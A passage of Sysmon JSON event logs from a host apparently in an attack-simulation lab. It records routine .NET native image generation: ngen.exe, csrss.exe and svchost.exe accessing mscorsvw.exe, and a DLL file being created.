C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:51.463","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-001018450F00}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8136,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:51.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-001018450F00}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:51.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-001018450F00}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8137,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:51.479\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4327-5F2D-0000-001031471000}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:51.479","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4327-5F2D-0000-001031471000}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8138,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:54.904\r\nProcessGuid: {90617006-4327-5F2D-0000-001031471000}\r\nProcessId: 4104\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1008-0\\System.Workflow.ComponentModel.dll\r\nCreationUtcTime: 2020-08-07 12:03:54.904","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:54.904","ProcessGuid":"{90617006-4327-5F2D-0000-001031471000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1008-0\\System.Workflow.ComponentModel.dll","CreationUtcTime":"2020-08-07 12:03:54.904","EventReceivedTime":"2020-08-07 12:03:56","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8139,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:55.088\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010A6A00F00}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:55.088","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010A6A00F00}","TargetProcessId":"5060","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:56","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8140,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:55.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010A6A00F00}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:55.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010A6A00F00}","TargetProcessId":"5060","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:56","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8141,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:55.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-432B-5F2D-0000-0010FC4C1000}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:55.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-432B-5F2D-0000-0010FC4C1000}","TargetProcessId":"5060","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:56","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8142,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:55.479\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-00105FA40F00}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:55.479","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-00105FA40F00}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:56","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8143,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:55.479\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-00105FA40F00}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:55.479","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-00105FA40F00}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:56","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8144,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:55.559\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-432B-5F2D-0000-00106D511000}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 